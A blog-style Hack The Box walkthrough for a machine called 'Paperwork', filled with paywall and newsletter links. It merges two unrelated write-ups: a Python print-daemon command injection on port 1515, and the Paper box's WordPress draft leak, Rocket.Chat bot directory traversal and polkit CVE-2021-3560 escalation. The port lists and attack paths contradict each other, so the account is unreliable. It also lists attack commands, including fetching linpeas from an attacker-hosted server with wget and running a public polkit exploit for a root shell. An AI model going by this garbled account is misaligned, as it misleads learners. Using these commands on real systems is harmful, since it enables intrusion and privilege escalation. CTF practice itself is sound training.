Key Highlights
- This hackthebox paperwork walkthrough follows a clear enumeration path from open ports to hidden services.
- You start by finding a backend server hint in an http response header on the default page.
- A custom python service is present.
- Custom python service script has a lot of hints.
- After grabbing the user flag, further host enumeration leads to a local privilege escalation path.
- To Access the Complete non-public writeup, Please CLICK HERE
- To Access the Complete non-public shortcut method, Please CLICK HERE
- To Access the Complete non-public scrpits-only, Please CLICK HERE
Introduction
If you want a simple but useful hackthebox challenge, Paper is a great place to start. This easy linux machine teaches practical cybersecurity habits without overwhelming you. You move from basic enumeration to web analysis, credential hunting, and local privilege escalation in a way that feels natural. Along the way, you see how small clues connect into a full compromise. In this guide, you will walk through the box step by step and understand why each finding matters.

Understanding the Paperwork HTB Writeup
This paperwork writeup explains the full attack path on a hackthebox target in a way beginners can follow. Instead of jumping straight to exploitation, it shows how careful observation leads to each next step.
You begin with service checks, notice a hidden domain name, inspect a wordpress site, reach an employee chat system, and then pivot into ssh. From there, the writeup closes with privilege escalation to root. The next sections break down the machine, its classification, and the beginner goals.
NEXT: Mastering Bedside: Beginner’s Guide from Hack The Box

Public Spoiler-Free Walk-through
(For non-public complete writeup, please CLICK HERE)
- Perform Nmap enumeration to identify services.
- Configure the local hosts file to resolve the paperwork.htb virtual host.
- Enumerate the web application and discover an exposed source archive.
- Download and extract the application for offline source code review.
- Identify an unsafe subprocess call leading to command injection.
- Exploit a service to achieve remote code execution and obtain an initial shell.
- Stabilize the shell and perform initial user and system enumeration.
- Enumerate internal services and identify an internally accessible printer service.
- Interact with the printer and enumerate the exposed filesystem.
- Generate an SSH key pair and transfer the public key to the target.
- Gain persistent SSH access.
- Enumerate running processes.
- Discover an accessible UNIX management socket.
- Analyze the daemon and identify a file leak.
- Exploit the leak to recover files.
- Extract administrator credentials from the leaked data.
- Trigger the daemon’s forensic functionality and authenticate as the privileged user.
- Escalate privileges to root and retrieve the root flag.
Initial Foothold
After adding paperwork.htb to your /etc/hosts file and running an initial Nmap scan, you will discover standard web ports alongside some custom services.
An initial Nmap scan reveals the following open ports:
- 22/tcp: SSH
- 80/tcp: HTTP
- 1515/tcp: Identified as
ifor-protocol, but it is actually a custom Python service (server.py/paperwork-daemon).

Local Port Discovery: Once you gain an initial shell, running netstat -antp or ss -tulpn reveals a service listening locally: tcp 0 0 127.0.0.1:1337 0.0.0.0:* LISTEN.
To Access the Complete non-public writeup, Please CLICK HERE
To Access the Complete non-public shortcut method, Please CLICK HERE
📬 Stay Ahead of Cyber Threats
Get the latest cybersecurity news, critical vulnerabilities, threat intelligence, tutorials, and exclusive giveaways delivered straight to your inbox. No spam. Unsubscribe anytime.
Subscribe to the Newsletter →To Access the Complete non-public scrpits-only, Please CLICK HERE
Web Enumeration: Browsing to http://paperwork.htb reveals a web application. During directory fuzzing, you will find an interesting endpoint at http://paperwork.htb/download/archive, which may leak sensitive files or provide clues about the backend architecture. In here, we find a python file.
Command Injection on Port 1515
Port 1515 runs a custom print job daemon. By analyzing the service (or the source code of server.py), we discover that it parses print jobs and executes the job_name parameter via a shell command without proper sanitization.
We can exploit this by injecting a bash reverse shell into the job_name field.
Unlock members-only CTF content, exclusive courses, premium notes, scripts, diagrams, practical security breakdowns, and video courses coming soon.
Go Beyond Public Cybersecurity Posts
Members get access to the deeper side of The CyberSec Guru — members-only CTF content, exclusive courses, premium notes, scripts, diagrams, and video courses dropping soon.
Members can expect private writeups, exclusive courses, early resources, practical security breakdowns, and video courses coming soon.
What is Paperwork Hack The Box and its classification
Paper, often called paperwork in beginner blog content, is a hackthebox linux challenge rated easy. It was released on February 5th, 2022, and created by secnigma. The target machine exposes common services, which makes it approachable if you are learning how to assess a server step by step.
Its classification fits an easy linux box because the attack chain is logical and built on visible clues. You scan open ports, inspect the default server webpage, uncover a virtual host, and then interact with a wordpress app and a rocket chat system. Each stage teaches a different piece of methodology.
The main vulnerabilities exploited in the Paper HTB challenge are a WordPress information disclosure issue tied to version 5.2.3, abuse of bot functionality with directory traversal in chat, and a polkit privilege escalation flaw identified as CVE-2021-3560. That combination makes the challenge broad but still beginner friendly.
Key objectives and challenge scope for beginners
For beginners, the main objectives are simple: learn to trust enumeration, connect small clues, and avoid rushing. This blog post shows how the scope of the box moves from public web content to internal chat and finally to local privilege escalation. It is a clean example of penetration testing methodology on a linux target machine.
As you work through the challenge, keep your focus on these goals:
- Identify open ports and map each exposed service.
- Read the blog post content and response header details carefully.
- Use discovered information to reach hidden app paths and credentials.
- Confirm each foothold before moving toward the next phase.
The method to gain initial access on the Paper HackTheBox machine was not brute force. Instead, you abuse a WordPress flaw to expose a secret registration url, create a new account in the chat system, use the bot to read sensitive files, recover a password from an env file, and log in over ssh as dwight.
Tools and Preparation for Paperwork Hack The Box
Before touching exploitation, you need a clean setup and a small set of reliable tools. Paper does not require a huge toolkit. Most of the work comes from patient enumeration and careful reading of output.
In practice, tools like nmap, curl, a browser, ssh, wget, python, and simple host file edits are enough. You also benefit from a local setup for serving scripts when needed. The next two sections cover the recommended utilities and the commands that keep the workflow efficient.
Recommended enumeration tools and setup
When you solve this hackthebox machine, the best tools are the basic ones you already know. Nmap handles service discovery. Curl helps you inspect headers. A browser lets you review html, comments, and app behavior. SSH gives you shell access once valid credentials appear. This box rewards careful enumeration more than fancy exploitation frameworks.
You should also prepare your local environment before starting. Since Paper relies on hidden domains, make sure you are ready to update your hosts file as soon as you find a new domain name or virtual host. That small habit saves time and keeps the workflow tidy.
Useful tools for this target include:
- nmap for open ports, versions, and service details
- curl for checking the http response header and backend server clues
- a browser for reviewing the default page, wordpress, and chat system
- python and wget for transferring local scripts during post-exploitation
Essential commands and scripts to streamline solving
A few commands carry most of the workload on Paper. You use nmap first, then curl, then the browser for application review. After you recover credentials, ssh gives you a foothold. Later, python and wget help move scripts onto the target machine for local checks and escalation. Nothing here is complicated, which is why this box is such a good learning target.
The key is to run each command with a purpose. Do not scan blindly. Read the output, compare it with what you already know, and ask yourself what changed. That rhythm will keep you from missing small but important details.
Command or Script Purpose nmap -sC -sV -oA scan 10.10.11.143 Finds open ports, versions, and stores scan output curl -I target_ip Reveals headers such as the backend server value ssh dwight@target_ip Uses recovered credentials for shell access python3 -m http.server 80 Hosts files from your machine for transfer wget http://your_ip/linpeas.sh Downloads linpeas to the target machine python3 ./CVE-2021-3560.py Executes the polkit exploit for root access
Service Enumeration and Initial Analysis
The most effective way to enumerate the services on the Paper HTB box is to start broad and then narrow your focus. Begin with network discovery, identify open ports, and inspect what each service returns rather than guessing.
On Paper, that process quickly reveals web services and ssh. The default server webpage looks plain, but the response data tells a bigger story. Once you follow those clues, the attack path becomes much clearer. Next, let’s look at the exact ports and the likely entry points they suggest.
Discovering network ports and relevant services
Start with nmap using default scripts and version detection. That gives you a solid picture of the target machine without adding noise. In this case, the scan shows three open ports: 22 for ssh, 80 for http, and 443 for https versions of a website. That alone tells you the box likely has a web route to initial access.
Next, visit both web ports in a browser. At first, they return the default page from a CentOS Apache server. Many beginners stop there because the site looks uninteresting. You should not. A default server webpage can still leak useful data through headers, source, or redirects.
The effective approach is simple: scan, browse, inspect, and compare. Open ports tell you where to look, but service behavior tells you what matters. Here, ssh is not immediately useful, while http becomes the main source of clues that unlock the rest of the machine.
Identifying potential entry points using scans
Once the scans are done, your next job is to identify what can actually be abused. On Paper, the web service looks harmless at first glance, but the http response header exposes a hidden backend server value. That points you to office.paper, which changes the entire direction of enumeration.
After adding the domain to your local hosts file, the page loads a wordpress site instead of the default page. From there, the wordpress version becomes the first real vulnerability lead. A blog comment and page source both help confirm where to look next.
The strongest entry points are:
- the hidden domain name exposed in the http response header
- the wordpress version 5.2.3 running on office.paper
- the draft posts of the blog accessible through the static parameter
- the employee chat system linked by the secret registration url
Gaining Initial Access on Paperwork Hack The Box
Initial access on Paper comes from chaining two weaknesses rather than exploiting ssh directly. First, the wordpress site on office.paper runs a version tied to an information disclosure issue. By using the right url pattern, you can read draft posts of the blog and uncover confidential information that should not be public. One exposed draft reveals a secret registration url for an internal employee chat system.
From there, you create a new account in Rocket.Chat and review messages in the general channel. A bot named recyclops can list files and read them. By abusing directory traversal, you reach an env file in the hubot directory and recover a plaintext password. Testing those credentials against likely usernames shows that dwight works over ssh. That is the method used to gain initial access on the Paper HackTheBox machine.
Exploiting discovered vulnerabilities for foothold
The foothold begins with the wordpress app, not the default server page. After finding office.paper, you inspect the site and confirm the wordpress version is 5.2.3. Research shows a flaw that allows an unauthenticated user to view hidden draft content. Using the static parameter on the url exposes a draft containing a secret registration link for the internal chat platform.
Once inside the chat system, you do not need stolen credentials yet. You simply register a new account and read the existing discussions. In those messages, recyclops appears as a helper bot. When you start a direct chat with it, the bot accepts commands to list and fetch files from limited directories.
The important exploit step is realizing that the file access restriction is weak. Directory traversal lets you move outside the expected path, read /etc/passwd, identify usernames, and then pull the hubot .env file. The recovered password gives you valid credentials for dwight, leading to an ssh shell.
ALSO READ: Mastering Enigma: Beginner’s Guide from Hack The Box
Navigating the User Environment
After logging in as dwight, you have a proper user shell and can start reviewing the environment. This is the point where many beginners relax too early. Do not. You still need to verify your access, inspect directories, and collect the user flag.
At the same time, keep your eyes open for escalation clues. The user environment on Paper is not noisy, but it is enough to support further host enumeration. The next sections cover where the useful files are and what mistakes often slow beginners down.
Locating and understanding user-level files and flags
Once you ssh in as dwight, your first task is to confirm the account context and locate the user flag in the home directory. This is a standard checkpoint on a linux box. It proves the earlier password recovery worked and that your shell is stable enough for follow-up actions.
It also helps to understand why the initial access path mattered. The password was not guessed. It came from reading a sensitive env file stored under the hubot directory through bot abuse in chat. That teaches an important lesson: plaintext secrets in application files often become the shortest route to a shell.
After collecting the user flag, shift your focus to local visibility. Review the user environment, note what tools are available, and prepare for host checks. On Paper, this leads naturally to transferring linpeas and identifying a privilege escalation option. The user-level phase is short, but it connects access validation with post-exploitation planning.
Common pitfalls encountered at this stage
A common mistake on Paper is assuming the interesting work is over once ssh succeeds. In reality, this stage still depends on disciplined enumeration. If you skip validation or ignore context, you can miss the path to root. Another frequent issue is forgetting how the earlier clues connected, which makes troubleshooting harder if something fails.
Beginners also lose time by trusting what they saw first. The default server webpage is a perfect example. It looks empty, but it was the starting point for the hidden domain. The same mindset applies after login: a quiet shell can still hide useful escalation leads.
Watch out for these pitfalls:
- stopping at the default server webpage and missing the header clue
- reading the password but not testing it against the right usernames
- grabbing the user flag and forgetting further host enumeration
- overlooking simple file transfer steps needed for local checks and a root shell
Privilege Escalation Techniques
Privilege escalation on Paper is achieved locally after you get a shell as dwight. The main idea is to inspect the system, identify a vulnerable component, and use a working exploit path rather than guessing.
Here, enumeration points to polkit and CVE-2021-3560. Once confirmed, the route to root access is straightforward. You move a script to the box, run it with python, and receive a root shell. The next sections explain the CVE and the exact escalation flow step by step.
Leveraging CVE exploits for root access
After landing on the box as dwight, the next move is local enumeration. Linpeas is transferred to the linux host and executed to review likely weaknesses. In its output, one of the standout findings is CVE-2021-3560, a polkit flaw that can let an unprivileged local attacker gain elevated rights.
The vulnerability affects how credential checks are handled for certain D-Bus requests. For this challenge, the practical takeaway matters more than the theory: the host is vulnerable, and a public proof of concept can be used. Manual exploitation was attempted in the source material, but a GitHub script ended up being the successful route.
To gain root access, the exploit script is downloaded to the target machine and launched with python3. Once it runs successfully, it spawns a root shell. At that point, you can access the root directory and read the root flag, completing the machine.
Analyzing privilege escalation methods step-by-step
A good privilege escalation methodology is simple: enumerate first, confirm the finding, transfer what you need, and execute only when the path makes sense. That is exactly how Paper is solved. The box does not require compiling complex tools or trying many local attacks. One clear finding is enough.
Before running anything, make sure your foothold is stable and you can move files to the target machine. A local Python web server makes this easy. Then download the exploit with wget and execute it from the shell you already control.
The escalation flow looks like this:
- transfer and run linpeas for local enumeration
- identify polkit exposure and note CVE-2021-3560
- host the exploit script locally and download it to the box
- execute the python script to obtain a root shell and read the root flag
Key Takeaways from the Paperwork HTB Writeup
This paperwork writeup teaches a useful lesson: simple clues can lead to full compromise when you follow them carefully. Nothing on this box is random. Each stage rewards patience, note-taking, and clean reasoning.
From header analysis to bot abuse and local escalation, the machine reinforces core habits you will use in other labs. If you are building a repeatable workflow, this blog post offers a solid model. Let’s close with the main lessons learned and where you can find similar writeups for more practice. Happy hacking.
Lessons learned and skills for future HTB challenges
Paper gives you a compact set of skills that transfer well to future hackthebox labs and broader cybersecurity practice. The biggest lesson is that enumeration is not a single step. It continues from the network layer to the app, to chat content, to the local linux host. If you stay consistent, the box almost guides you forward.
Another strong takeaway is how multiple low-complexity findings can combine into full compromise. A header leak, a wordpress flaw, bot abuse, and an env secret each seem small alone. Together, they create a clean attack path from anonymous access to root.
Skills reinforced by this challenge include:
- careful enumeration of services, headers, and app content
- validating credentials instead of assuming one username
- recognizing the value of env files and chat-based data exposure
- following a structured escalation workflow on linux systems
Where to find reliable Paperwork Hack The Box writeups
If you want reliable Paperwork Hack The Box writeups, start with detailed blog posts from authors who explain both the why and the how. The compiled material for this article included walkthroughs that clearly documented the scan results, wordpress issue, chat abuse, and polkit escalation. Those styles are the most helpful for beginners because they show the reasoning behind each move.
GitHub is also useful, especially for privilege escalation resources. In this case, the successful polkit proof of concept was found through github and transferred to the target machine. That makes GitHub a good place for supporting material, even when the main narrative comes from a blog.
The best resources are the ones that stay close to the actual machine flow. Look for writeups that cover enumeration, hidden domain discovery, the secret registration url, the env file secret, and the root access method in order. That structure makes comparison easier across different authors.
Conclusion
In summary, conquering Paperwork on Hack the Box can be a rewarding journey that equips you with valuable skills and knowledge. By understanding the key concepts, tools, and techniques outlined in this guide, you’re well on your way to mastering the challenges presented by this machine. Remember to take your time, practice patience, and learn from any mistakes along the way. The process of hacking is not just about finding solutions but also about honing your abilities and expanding your expertise. For those eager to stay updated and continue their learning journey, be sure to subscribe for more insights and tips!
Frequently Asked Questions
Are there any tricky steps beginners should be careful about on Paperwork Hack The Box?
Yes. The biggest pitfalls are weak enumeration and ignoring small clues. Many beginners stop at the default page, miss the header leak, or fail to inspect chat behavior closely. Others recover credentials but test them poorly. Stay methodical, and the path to a root shell becomes much clearer.
Which tools did you find most useful during the Paperwork HTB Writeup?
For this hackthebox machine, nmap and curl were the most useful during early enumeration. A browser was essential for reviewing wordpress and chat content, while ssh handled access after credential recovery. Later, python and wget helped with script transfer. Even the directory traversal step depended more on observation than complex tooling.
How do you verify successful exploitation on the Paperwork HTB machine?
You verify success in stages. First, recovered credentials should give you a working ssh session on the linux server as dwight. Next, confirm access by reading the user flag. After local escalation, a root shell and access to the root flag prove the full compromise is complete.









